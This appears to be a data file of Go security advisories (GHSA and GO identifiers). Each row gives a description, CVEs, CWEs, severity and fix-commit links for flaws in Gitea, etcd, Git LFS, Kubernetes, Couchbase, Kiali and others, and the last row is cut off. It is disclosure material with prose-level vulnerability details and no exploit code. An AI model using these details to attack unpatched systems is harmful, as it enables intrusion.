Go | GHSA-hf6f-jq25-8gq9 | Remote Code Execution (RCE) | Gitea before 1.5.4 allows remote code execution because it does not properly validate session IDs. This is related to session ID handling in the go-macaron/session code for Macaron. | {'CVE-2018-18926'} | 2021-05-12T18:25:03Z | 2022-02-15T01:57:18Z | CRITICAL | null | {'CWE-94'} | {'https://github.com/go-gitea/gitea/commit/aeb5655c25053bdcd7eee94ea37df88468374162', 'https://nvd.nist.gov/vuln/detail/CVE-2018-18926', 'https://github.com/go-gitea/gitea/issues/5140', 'https://github.com/go-gitea/gitea/pull/5177'} | null | {'https://github.com/go-gitea/gitea/commit/aeb5655c25053bdcd7eee94ea37df88468374162'} | {'https://github.com/go-gitea/gitea/commit/aeb5655c25053bdcd7eee94ea37df88468374162'} |
Go | GHSA-5gjm-fj42-x983 | Cross-site Request Forgery (CSRF) | A cross-site request forgery flaw was found in etcd 3.3.1 and earlier. An attacker can set up a website that tries to send a POST request to the etcd server and modify a key. Adding a key is done with PUT so it is theoretically safe (can't PUT from an HTML form or such) but POST allows creating in-order keys that an attacker can send. | {'CVE-2018-1098'} | 2021-05-12T18:17:42Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-352'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JX7QTIT465BQGRGNCE74RATRQLKT2QE4/', 'https://bugzilla.redhat.com/show_bug.cgi?id=1552714', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UPGYHMSKDPW5GAMI7BEP3XQRVRLLBJKS/', 'https://nvd.nist.gov/vuln/detail/CVE-2018-1098', 'https://github.com/coreos/etcd/commit/a7e5790c82039945639798ae9a3289fe787f5e56', 'https://github.com/coreos/etcd/issues/9353'} | null | {'https://github.com/coreos/etcd/commit/a7e5790c82039945639798ae9a3289fe787f5e56'} | {'https://github.com/coreos/etcd/commit/a7e5790c82039945639798ae9a3289fe787f5e56'} |
Go | GO-2021-0073 | null | Arbitary command execution can be triggered by improperly
sanitized SSH URLs in LFS configuration files. This can be
triggered by cloning a malicious repoistory.
| {'CVE-2017-17831'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/git-lfs/git-lfs/pull/2241', 'https://github.com/git-lfs/git-lfs/commit/f913f5f9c7c6d1301785fdf9884a2942d59cdf19', 'http://www.securityfocus.com/bid/102926', 'https://confluence.atlassian.com/sourcetreekb/sourcetree-security-advisory-2018-01-24-942834324.html', 'http://blog.recurity-labs.com/2017-08-10/scm-vulns'} | null | {'https://github.com/git-lfs/git-lfs/commit/f913f5f9c7c6d1301785fdf9884a2942d59cdf19'} | {'https://github.com/git-lfs/git-lfs/commit/f913f5f9c7c6d1301785fdf9884a2942d59cdf19'} |
Go | GHSA-hwqm-x785-qh8p | Incorrect Permission Assignment for Critical Resource in Hashicorp Consul | HashiCorp Consul and Consul Enterprise failed to enforce changes to legacy ACL token rules due to non-propagation to secondary data centers. Introduced in 1.4.0, fixed in 1.6.6 and 1.7.4. | {'CVE-2020-12797'} | 2021-05-12T22:03:39Z | 2021-06-23T17:52:33Z | MODERATE | null | {'CWE-732'} | {'https://github.com/hashicorp/consul/commit/98eea08d3ba1b220a14cf6eedf3b6b07ae2795d7', 'https://github.com/hashicorp/consul/blob/v1.7.4/CHANGELOG.md', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12797', 'https://github.com/hashicorp/consul/issues/5606', 'https://github.com/hashicorp/consul/pull/8047', 'https://github.com/hashicorp/consul/blob/v1.6.6/CHANGELOG.md'} | null | {'https://github.com/hashicorp/consul/commit/98eea08d3ba1b220a14cf6eedf3b6b07ae2795d7'} | {'https://github.com/hashicorp/consul/commit/98eea08d3ba1b220a14cf6eedf3b6b07ae2795d7'} |
Go | GO-2020-0038 | null | Due to improper verification of packets, unencrypted packets containing
application data are accepted after the initial handshake. This allows
an attacker to inject arbitary data which the client/server believes
was encrypted, despite not knowing the session key.
| {'CVE-2019-20786'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://www.usenix.org/system/files/sec20fall_fiterau-brostean_prepub.pdf', 'https://github.com/pion/dtls/pull/128', 'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0'} | null | {'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0'} | {'https://github.com/pion/dtls/commit/fd73a5df2ff0e1fb6ae6a51e2777d7a16cc4f4e0'} |
Go | GHSA-w3wf-cfx3-6gcx | SAML authentication vulnerability due to stdlib XML parsing | ### Impact
Due to issues in Go's standard library XML parsing, a valid SAML response may be mutated by an attacker to modify the trusted document. This can result in allowing unverified logins from a SAML IdP.
Users that configure Fleet with SSO login may be vulnerable to this issue.
### Patches
This issue is patched in 3.5.1 using https://github.com/mattermost/xml-roundtrip-validator.
### Workarounds
If upgrade to 3.5.1 is not possible, users should disable SSO authentication in Fleet.
### References
See https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities/ for more information about the underlying vulnerabilities.
### For more information
If you have any questions or comments about this advisory:
* Email us at [security@fleetdm.com](mailto:security@fleetdm.com)
* Join #fleet in [osquery Slack](https://join.slack.com/t/osquery/shared_invite/zt-h29zm0gk-s2DBtGUTW4CFel0f0IjTEw) | {'CVE-2020-26276'} | 2022-02-11T23:59:14Z | 2022-02-11T23:59:14Z | HIGH | null | {'CWE-290'} | {'https://github.com/fleetdm/fleet/commit/57812a532e5f749c8e18c6f6a652eca65c083607', 'https://github.com/mattermost/xml-roundtrip-validator', 'https://mattermost.com/blog/coordinated-disclosure-go-xml-vulnerabilities', 'https://github.com/fleetdm/fleet/security/advisories/GHSA-w3wf-cfx3-6gcx', 'https://github.com/fleetdm/fleet/blob/master/CHANGELOG.md#fleet-351-dec-14-2020', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26276'} | null | {'https://github.com/fleetdm/fleet/commit/57812a532e5f749c8e18c6f6a652eca65c083607'} | {'https://github.com/fleetdm/fleet/commit/57812a532e5f749c8e18c6f6a652eca65c083607'} |
Go | GHSA-8m9g-647g-5pxw | Infinite loop in Yubico yubihsm-connector | An issue was discovered in the /api/connector endpoint handler in Yubico yubihsm-connector before 3.0.1 (in YubiHSM SDK before 2021.04). The handler did not validate the length of the request, which can lead to a state where yubihsm-connector becomes stuck in a loop waiting for the YubiHSM to send it data, preventing any further operations until the yubihsm-connector is restarted. An attacker can send 0, 1, or 2 bytes to trigger this. | {'CVE-2021-28484'} | 2021-05-07T16:04:45Z | 2022-02-15T01:57:18Z | HIGH | null | {'CWE-835'} | {'https://github.com/Yubico/yubihsm-connector/releases', 'https://nvd.nist.gov/vuln/detail/CVE-2021-28484', 'https://github.com/Yubico/yubihsm-connector/commit/82bdf202c53460bac9106cc9b4b34a0a16cae0ed', 'https://www.yubico.com/support/security-advisories/ysa-2021-02/'} | null | {'https://github.com/Yubico/yubihsm-connector/commit/82bdf202c53460bac9106cc9b4b34a0a16cae0ed'} | {'https://github.com/Yubico/yubihsm-connector/commit/82bdf202c53460bac9106cc9b4b34a0a16cae0ed'} |
Go | GHSA-m3fm-h5jp-q79p | Authorization bypass in Openshift | Openshift allows remote attackers to gain privileges by updating a build configuration that was created with an allowed type to a type that is not allowed. | {'CVE-2016-1906'} | 2021-05-19T22:01:34Z | 2021-12-20T16:58:14Z | CRITICAL | null | {'CWE-285'} | {'https://access.redhat.com/errata/RHSA-2016:0351', 'https://github.com/openshift/origin/issues/6556', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-1906', 'https://access.redhat.com/errata/RHSA-2016:0070', 'https://github.com/openshift/origin/commit/d95ec085f03ecf10e8c424a4f0340ddb38891406', 'https://github.com/openshift/origin/pull/6576', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1906'} | null | {'https://github.com/openshift/origin/commit/d95ec085f03ecf10e8c424a4f0340ddb38891406'} | {'https://github.com/openshift/origin/commit/d95ec085f03ecf10e8c424a4f0340ddb38891406'} |
Go | GO-2020-0043 | null | Due to improper TLS verification when serving traffic for multiple
SNIs, an attacker may bypass TLS client authentication by indicating
an SNI during the TLS handshake that is different from the name in
the HTTP Host header.
| {'CVE-2018-21246'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://bugs.gentoo.org/715214', 'https://github.com/caddyserver/caddy/pull/2099', 'https://github.com/caddyserver/caddy/commit/4d9ee000c8d2cbcdd8284007c1e0f2da7bc3c7c3'} | null | {'https://github.com/caddyserver/caddy/commit/4d9ee000c8d2cbcdd8284007c1e0f2da7bc3c7c3'} | {'https://github.com/caddyserver/caddy/commit/4d9ee000c8d2cbcdd8284007c1e0f2da7bc3c7c3'} |
Go | GHSA-cx3w-xqmc-84g5 | Git LFS can execute a Git binary from the current directory on Windows | ### Impact
On Windows, if Git LFS operates on a malicious repository with a git.bat or git.exe file in the current directory, that program would be executed, permitting the attacker to execute arbitrary code. This does not affect Unix systems.
This is the result of an incomplete fix for CVE-2020-27955.
This issue occurs because on Windows, [Go includes (and prefers) the current directory when the name of a command run does not contain a directory separator](https://github.com/golang/go/issues/38736).
### Patches
This version should be patched in v2.13.2, which will be released in coordination with this security advisory.
### Workarounds
Other than avoiding untrusted repositories or using a different operating system, there is no workaround.
### References
_Are there any links users can visit to find out more?_
### For more information
If you have any questions or comments about this advisory:
- Start a discussion in [the Git LFS discussion page](https://github.com/git-lfs/git-lfs/discussions).
- If you cannot open a discussion, please email the core team using their usernames at `github.com`. | {'CVE-2021-21237'} | 2022-04-20T16:24:41Z | 2022-02-15T00:30:37Z | HIGH | null | {'CWE-94', 'CWE-426'} | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a', 'https://github.com/git-lfs/git-lfs', 'https://github.com/git-lfs/git-lfs/security/advisories/GHSA-cx3w-xqmc-84g5', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-27955', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21237', 'https://github.com/git-lfs/git-lfs/releases/tag/v2.13.2'} | null | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a'} | {'https://github.com/git-lfs/git-lfs/commit/fc664697ed2c2081ee9633010de0a7f9debea72a'} |
Go | GHSA-rf3m-mhv7-x39f | Denial of Service in OpenShift Origin | The API server in OpenShift Origin 1.0.5 allows remote attackers to cause a denial of service (master process crash) via crafted JSON data. | {'CVE-2015-5250'} | 2021-05-19T22:21:13Z | 2021-12-20T16:58:22Z | MODERATE | null | {'CWE-20'} | {'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-5250', 'https://nvd.nist.gov/vuln/detail/CVE-2015-5250', 'https://bugzilla.redhat.com/show_bug.cgi?id=1259867', 'https://access.redhat.com/errata/RHSA-2015:1736', 'https://github.com/openshift/origin/commit/dace5075e31b74703e944b6b3ebe8836be8d1b9a', 'https://github.com/openshift/origin/issues/4374'} | null | {'https://github.com/openshift/origin/commit/dace5075e31b74703e944b6b3ebe8836be8d1b9a'} | {'https://github.com/openshift/origin/commit/dace5075e31b74703e944b6b3ebe8836be8d1b9a'} |
Go | GO-2020-0014 | null | [`html.Parse`] does not properly handle "select" tags, which can lead
to an infinite loop. If parsing user supplied input, this may be used
as a denial of service vector.
| {'CVE-2018-17846'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/golang/go/issues/27842', 'https://github.com/golang/net/commit/d26f9f9a57f3fab6a695bec0d84433c2c50f8bbf', 'https://go-review.googlesource.com/c/137275'} | null | {'https://github.com/golang/net/commit/d26f9f9a57f3fab6a695bec0d84433c2c50f8bbf'} | {'https://github.com/golang/net/commit/d26f9f9a57f3fab6a695bec0d84433c2c50f8bbf'} |
Go | GHSA-g622-r636-qfqh | SQL Injection in Couchbase Sync Gateway | The Couchbase Sync Gateway 2.1.2 in combination with a Couchbase Server is affected by a previously undisclosed N1QL-injection vulnerability in the REST API. An attacker with access to the public REST API can insert additional N1QL statements through the parameters ?startkey? and ?endkey? of the ?_all_docs? endpoint. | {'CVE-2019-9039'} | 2021-05-17T16:33:43Z | 2022-02-15T01:57:18Z | CRITICAL | null | {'CWE-89'} | {'https://research.hisolutions.com/2019/06/n1ql-injection-in-couchbase-sync-gateway-cve-2019-9039/', 'https://www.couchbase.com/resources/security#SecurityAlerts', 'https://docs.couchbase.com/sync-gateway/2.5/release-notes.html', 'https://github.com/couchbase/sync_gateway/commit/97adb5b496aa96aa70398018ea96da913ffd8d8c', 'https://nvd.nist.gov/vuln/detail/CVE-2019-9039'} | null | {'https://github.com/couchbase/sync_gateway/commit/97adb5b496aa96aa70398018ea96da913ffd8d8c'} | {'https://github.com/couchbase/sync_gateway/commit/97adb5b496aa96aa70398018ea96da913ffd8d8c'} |
Go | GO-2020-0002 | null | The [`Data`][], [`Context`][], or [`Key`][] finalizers might run during or
before GPGME operations, releasing the C structures as they are still in use,
leading to crashes and potentially code execution through a use-after-free.
| {'CVE-2020-8945'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733', 'https://github.com/proglottis/gpgme/pull/23'} | null | {'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733'} | {'https://github.com/proglottis/gpgme/commit/92153bcb59bd2f511e502262c46c7bd660e21733'} |
Go | GHSA-qq97-vm5h-rrhg | OCI Manifest Type Confusion Issue | ### Impact
Systems that rely on digest equivalence for image attestations may be vulnerable to type confusion.
### Patches
Upgrade to at least `v2.8.0-beta.1` if you are running `v2.x` release. If you use the code from the `main` branch, update at least to the commit after [b59a6f827947f9e0e67df0cfb571046de4733586](https://github.com/distribution/distribution/commit/b59a6f827947f9e0e67df0cfb571046de4733586).
### Workarounds
There is no way to work around this issue without patching.
### References
Due to [an oversight in the OCI Image Specification](https://github.com/opencontainers/image-spec/pull/411) that removed the embedded `mediaType` field from manifests, a maliciously crafted OCI Container Image can cause registry clients to parse the same image in two different ways without modifying the image’s digest by modifying the `Content-Type` header returned by a registry. This can invalidate a common pattern of relying on container image digests for equivalence.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [distribution](https://github.com/distribution/distribution)
* Open an issue in [distribution-spec](https://github.com/opencontainers/distribution-spec)
* Email us at [cncf-distribution-security@lists.cncf.io](mailto:cncf-distribution-security@lists.cncf.io)
| null | 2022-02-11T22:31:47Z | 2022-02-08T18:53:56Z | LOW | null | {'CWE-843'} | {'https://github.com/distribution/distribution/security/advisories/GHSA-qq97-vm5h-rrhg', 'https://github.com/distribution/distribution/commit/b59a6f827947f9e0e67df0cfb571046de4733586', 'https://github.com/opencontainers/image-spec/pull/411', 'https://github.com/distribution/distribution/'} | null | {'https://github.com/distribution/distribution/commit/b59a6f827947f9e0e67df0cfb571046de4733586'} | {'https://github.com/distribution/distribution/commit/b59a6f827947f9e0e67df0cfb571046de4733586'} |
Go | GHSA-jp32-vmm6-3vf5 | Directory Traversal in Kubernetes | Directory traversal vulnerability in Kubernetes, as used in Red Hat OpenShift Enterprise 3.0, allows attackers to write to arbitrary files via a crafted object type name, which is not properly handled before passing it to etcd. | {'CVE-2015-5305'} | 2021-05-20T16:19:56Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-22'} | {'https://github.com/kubernetes/kubernetes/commit/68f2add9bd5d43b9da1424d87d88f83d120e17d0', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-5305', 'https://nvd.nist.gov/vuln/detail/CVE-2015-5305', 'https://access.redhat.com/errata/RHSA-2015:1945', 'https://bugzilla.redhat.com/show_bug.cgi?id=1273969'} | null | {'https://github.com/kubernetes/kubernetes/commit/68f2add9bd5d43b9da1424d87d88f83d120e17d0'} | {'https://github.com/kubernetes/kubernetes/commit/68f2add9bd5d43b9da1424d87d88f83d120e17d0'} |
Go | GHSA-59qg-grp7-5r73 | Weave Net clusters susceptible to MitM attacks via IPv6 rogue router advertisements | ### Impact
An attacker able to run a process as root in a container is able to respond to DNS requests from the host and thereby insert themselves as a fake service.
In a cluster with an IPv4 internal network, if IPv6 is not totally disabled on the host (via ipv6.disable=1 on the kernel cmdline), it will be either unconfigured or configured on some interfaces, but it’s pretty likely that ipv6 forwarding is disabled, ie /proc/sys/net/ipv6/conf//forwarding == 0. Also by default, /proc/sys/net/ipv6/conf//accept_ra == 1. The combination of these 2 sysctls means that the host accepts router advertisements and configure the IPv6 stack using them.
By sending “rogue” router advertisements, an attacker can reconfigure the host to redirect part or all of the IPv6 traffic of the host to the attacker controlled container.
Even if there was no IPv6 traffic before, if the DNS returns A (IPv4) and AAAA (IPv6) records, many HTTP libraries will try to connect via IPv6 first then fallback to IPv4, giving an opportunity to the attacker to respond.
If by chance you also have on the host a vulnerability like last year’s RCE in apt (CVE-2019-3462), you can now escalate to the host.
### Patches
Weave Net version 2.6.3 (to be released soon) will disable the accept_ra option on the veth devices that it creates.
### Workarounds
Users should not run containers with CAP_NET_RAW capability. This has been the advice from Weave Net for years.
https://www.weave.works/docs/net/latest/kubernetes/kube-addon/#-securing-the-setup
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [the Weave Net repo](https://github.com/weaveworks/weave/issues/new)
* Join the <a href="https://slack.weave.works/" target="_blank">Weave Users Slack</a>. | {'CVE-2020-11091'} | 2021-05-24T21:05:31Z | 2021-05-27T19:00:08Z | MODERATE | null | {'CWE-350'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-11091', 'https://github.com/weaveworks/weave/security/advisories/GHSA-59qg-grp7-5r73', 'https://github.com/weaveworks/weave/commit/15f21f1899060f7716c70a8555a084e836f39a60'} | null | {'https://github.com/weaveworks/weave/commit/15f21f1899060f7716c70a8555a084e836f39a60'} | {'https://github.com/weaveworks/weave/commit/15f21f1899060f7716c70a8555a084e836f39a60'} |
Go | GO-2021-0107 | null | Web Sockets do not execute any AuthenticateMethod methods which may be set, leading to a
nil pointer dereference if the returned UserData pointer is assumed to be non-nil, or
authentication bypass.
| null | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/ecnepsnai/web/commit/5a78f8d5c41ce60dcf9f61aaf47a7a8dc3e0002f', 'https://github.com/advisories/GHSA-5gjg-jgh4-gppm'} | null | {'https://github.com/ecnepsnai/web/commit/5a78f8d5c41ce60dcf9f61aaf47a7a8dc3e0002f'} | {'https://github.com/ecnepsnai/web/commit/5a78f8d5c41ce60dcf9f61aaf47a7a8dc3e0002f'} |
Go | GO-2020-0009 | null | On 32-bit platforms an attacker can manipulate a ciphertext encrypted with AES-CBC
with HMAC such that they can control how large the input buffer is when computing
the HMAC authentication tag. This can can allow a manipulated ciphertext to be
verified as authentic, opening the door for padding oracle attacks.
| {'CVE-2016-9123'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/square/go-jose/commit/789a4c4bd4c118f7564954f441b29c153ccd6a96', 'https://www.openwall.com/lists/oss-security/2016/11/03/1'} | null | {'https://github.com/square/go-jose/commit/789a4c4bd4c118f7564954f441b29c153ccd6a96'} | {'https://github.com/square/go-jose/commit/789a4c4bd4c118f7564954f441b29c153ccd6a96'} |
Go | GO-2021-0054 | null | Due to improper bounds checking, maliciously crafted JSON objects
can cause an out-of-bounds panic. If parsing user input, this may
be used as a denial of service vector.
| {'CVE-2020-36067'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/tidwall/gjson/commit/bf4efcb3c18d1825b2988603dea5909140a5302b', 'https://github.com/tidwall/gjson/issues/196'} | null | {'https://github.com/tidwall/gjson/commit/bf4efcb3c18d1825b2988603dea5909140a5302b'} | {'https://github.com/tidwall/gjson/commit/bf4efcb3c18d1825b2988603dea5909140a5302b'} |
Go | GO-2021-0111 | null | Due to improper input sanitization when marshalling Go objects into BSON, a maliciously constructed
Go structure could allow an attacker to inject additional fields into a MongoDB document. Users are
affected if they use this package to handle untrusted user input.
| {'CVE-2021-20329'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/mongodb/mongo-go-driver/pull/622', 'https://github.com/mongodb/mongo-go-driver/commit/2aca31d5986a9e1c65a92264736de9fdc3b9b4ca', 'https://github.com/advisories/GHSA-f6mq-5m25-4r72', 'https://jira.mongodb.org/browse/GODRIVER-1923'} | null | {'https://github.com/mongodb/mongo-go-driver/commit/2aca31d5986a9e1c65a92264736de9fdc3b9b4ca'} | {'https://github.com/mongodb/mongo-go-driver/commit/2aca31d5986a9e1c65a92264736de9fdc3b9b4ca'} |
Go | GHSA-wqwf-x5cj-rg56 | Arbitrary Command Injection | In Kubernetes versions 1.9.0-1.9.9, 1.10.0-1.10.5, and 1.11.0-1.11.1, user input was handled insecurely while setting up volume mounts on Windows nodes, which could lead to command line argument injection. | {'CVE-2018-1002101'} | 2021-05-12T18:22:09Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-78'} | {'https://nvd.nist.gov/vuln/detail/CVE-2018-1002101', 'https://github.com/kubernetes/kubernetes/issues/65750', 'https://github.com/kubernetes/kubernetes/pull/65751', 'http://www.securityfocus.com/bid/106238', 'https://security.netapp.com/advisory/ntap-20190416-0008/', 'https://github.com/kubernetes/kubernetes/commit/d65039c56ce4de5f2efdc38aa1284eeb95f89169'} | null | {'https://github.com/kubernetes/kubernetes/commit/d65039c56ce4de5f2efdc38aa1284eeb95f89169'} | {'https://github.com/kubernetes/kubernetes/commit/d65039c56ce4de5f2efdc38aa1284eeb95f89169'} |
Go | GHSA-9hx4-qm7h-x84j | Cross-site Scripting in Gogs | Cross-site scripting (XSS) vulnerability in models/issue.go in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.8 allows remote attackers to inject arbitrary web script or HTML via the text parameter to api/v1/markdown. | {'CVE-2014-8683'} | 2021-05-20T16:31:56Z | 2021-06-29T18:32:53Z | MODERATE | null | {'CWE-79'} | {'https://exchange.xforce.ibmcloud.com/vulnerabilities/98693', 'https://gogs.io/docs/intro/change_log.html', 'https://seclists.org/fulldisclosure/2014/Nov/31', 'https://packetstormsecurity.com/files/129118/Gogs-Markdown-Renderer-Cross-Site-Scripting.html', 'https://nvd.nist.gov/vuln/detail/CVE-2014-8683', 'https://github.com/gogits/gogs/commit/3abc41cccab2486012b46305827433ad6f5deade', 'https://www.securityfocus.com/archive/1/533996/100/0/threaded', 'https://seclists.org/fulldisclosure/2014/Nov/34', 'https://github.com/gogits/gogs/releases/tag/v0.5.8'} | null | {'https://github.com/gogits/gogs/commit/3abc41cccab2486012b46305827433ad6f5deade'} | {'https://github.com/gogits/gogs/commit/3abc41cccab2486012b46305827433ad6f5deade'} |
Go | GO-2020-0048 | null | [`LoadURL`] does not check the Content-Type of loaded resources,
which can cause a panic due to nil pointer deference if the loaded
resource is not XML. If user supplied URLs are loaded, this may be
used as a denial of service vector.
| {'CVE-2020-25614'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/antchfx/xmlquery/issues/39', 'https://github.com/antchfx/xmlquery/commit/5648b2f39e8d5d3fc903c45a4f1274829df71821'} | null | {'https://github.com/antchfx/xmlquery/commit/5648b2f39e8d5d3fc903c45a4f1274829df71821'} | {'https://github.com/antchfx/xmlquery/commit/5648b2f39e8d5d3fc903c45a4f1274829df71821'} |
Go | GO-2021-0097 | null | Due to improper bounds checking a number of methods can trigger a panic due to attempted
out-of-bounds reads. If the package is used to parse user supplied input this may be
used as a vector for a denial of service attack.
| {'CVE-2020-29242'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/dhowden/tag/commit/6b18201aa5c5535511802ddfb4e4117686b4866d', 'https://github.com/dhowden/tag/commit/d52dcb253c63a153632bfee5f269dd411dcd8e96', 'https://github.com/dhowden/tag/commit/4b595ed4fac79f467594aa92f8953f90f817116e', 'https://github.com/dhowden/tag/commit/a92213460e4838490ce3066ef11dc823cdc1740e'} | null | {'https://github.com/dhowden/tag/commit/a92213460e4838490ce3066ef11dc823cdc1740e', 'https://github.com/dhowden/tag/commit/4b595ed4fac79f467594aa92f8953f90f817116e', 'https://github.com/dhowden/tag/commit/d52dcb253c63a153632bfee5f269dd411dcd8e96', 'https://github.com/dhowden/tag/commit/6b18201aa5c5535511802ddfb4e4117686b4866d'} | {'https://github.com/dhowden/tag/commit/4b595ed4fac79f467594aa92f8953f90f817116e', 'https://github.com/dhowden/tag/commit/6b18201aa5c5535511802ddfb4e4117686b4866d', 'https://github.com/dhowden/tag/commit/d52dcb253c63a153632bfee5f269dd411dcd8e96', 'https://github.com/dhowden/tag/commit/a92213460e4838490ce3066ef11dc823cdc1740e'} |
Go | GHSA-2rmp-fw5r-j5qv | Improper Authentication in InfluxDB | InfluxDB before 1.7.6 has an authentication bypass vulnerability in the authenticate function in services/httpd/handler.go because a JWT token may have an empty SharedSecret (aka shared secret). | {'CVE-2019-20933'} | 2021-05-12T21:55:56Z | 2021-05-18T18:22:05Z | CRITICAL | null | {'CWE-287'} | {'https://www.debian.org/security/2021/dsa-4823', 'https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0', 'https://github.com/influxdata/influxdb/issues/12927', 'https://lists.debian.org/debian-lts-announce/2020/12/msg00030.html', 'https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6', 'https://github.com/ticarpi/jwt_tool/blob/a6ca3e0524a204b5add070bc6874cb4e7e5a9864/jwt_tool.py#L1368', 'https://nvd.nist.gov/vuln/detail/CVE-2019-20933'} | null | {'https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0'} | {'https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0'} |
Go | GO-2021-0078 | null | The HTML parser does not properly handle "in frameset" insertion mode, and can be made
to panic when operating on malformed HTML that contains <template> tags. If operating
on user input, this may be a vector for a denial of service attack.
| {'CVE-2018-17075'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://go-review.googlesource.com/123776', 'https://bugs.chromium.org/p/chromium/issues/detail?id=829668', 'https://github.com/golang/go/issues/27016', 'https://go-review.googlesource.com/c/net/+/94838/9/html/parse.go#1906', 'https://github.com/golang/net/commit/aaf60122140d3fcf75376d319f0554393160eb50'} | null | {'https://github.com/golang/net/commit/aaf60122140d3fcf75376d319f0554393160eb50'} | {'https://github.com/golang/net/commit/aaf60122140d3fcf75376d319f0554393160eb50'} |
Go | GO-2020-0033 | null | Due to improper santization of user input, HTTPEngine.Handle allows
for directory traversal, allowing an attacker to read files outside of
the target directory that the server has permission to read.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/go-aah/aah/commit/881dc9f71d1f7a4e8a9a39df9c5c081d3a2da1ec', 'https://github.com/go-aah/aah/issues/266', 'https://github.com/go-aah/aah/pull/267'} | null | {'https://github.com/go-aah/aah/commit/881dc9f71d1f7a4e8a9a39df9c5c081d3a2da1ec'} | {'https://github.com/go-aah/aah/commit/881dc9f71d1f7a4e8a9a39df9c5c081d3a2da1ec'} |
Go | GHSA-2p6r-37p9-89p2 | Authz Module Non-Determinism | ### Impact
Consensus failure for 0.43.x and 0.44.{0,1} users.
Funds and balances are safe.
### Patches
0.44.2
### Workarounds
Manually patch the code.
---
Full details posted in https://forum.cosmos.network/t/cosmos-sdk-vulnerability-retrospective-security-advisory-jackfruit-october-12-2021/5349. | {'CVE-2021-41135'} | 2021-10-21T14:32:55Z | 2021-10-21T17:46:57Z | MODERATE | null | {'CWE-754'} | {'https://forum.cosmos.network/t/cosmos-sdk-vulnerability-retrospective-security-advisory-jackfruit-october-12-2021/5349', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41135', 'https://github.com/cosmos/cosmos-sdk', 'https://github.com/cosmos/cosmos-sdk/security/advisories/GHSA-2p6r-37p9-89p2', 'https://github.com/cosmos/cosmos-sdk/releases/tag/v0.44.2', 'https://github.com/cosmos/cosmos-sdk/commit/68ab790a761e80d3674f821794cf18ccbfed45ee'} | null | {'https://github.com/cosmos/cosmos-sdk/commit/68ab790a761e80d3674f821794cf18ccbfed45ee'} | {'https://github.com/cosmos/cosmos-sdk/commit/68ab790a761e80d3674f821794cf18ccbfed45ee'} |
Go | GHSA-64rh-r86q-75ff | Hard coded cryptographic key in Kiali | A hard-coded cryptographic key vulnerability in the default configuration file was found in Kiali, all versions prior to 1.15.1. A remote attacker could abuse this flaw by creating their own JWT signed tokens and bypass Kiali authentication mechanisms, possibly gaining privileges to view and alter the Istio configuration. | {'CVE-2020-1764'} | 2021-05-06T21:51:32Z | 2021-05-18T18:28:59Z | HIGH | null | {'CWE-321', 'CWE-798'} | {'https://github.com/kiali/kiali/commit/ce48af57113c805a25179aaab1a0fac2fb93653f', 'https://nvd.nist.gov/vuln/detail/CVE-2020-1764', 'https://kiali.io/news/security-bulletins/kiali-security-001/', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1764', 'https://github.com/jpts/cve-2020-1764-poc', 'https://bugzilla.redhat.com/show_bug.cgi?id=1810383', 'https://github.com/kiali/kiali/commit/ac7bd6c7ddb2e01356e21d360dd1c718a90706ad', 'https://github.com/kiali/kiali/commit/faed1f5f90efae3df9fd6fb793f00ccc242b3a96', 'https://github.com/kiali/kiali/commit/93f5cd0b6698e8fe8772afb8f35816f6c086aef1'} | null | {'https://github.com/kiali/kiali/commit/faed1f5f90efae3df9fd6fb793f00ccc242b3a96', 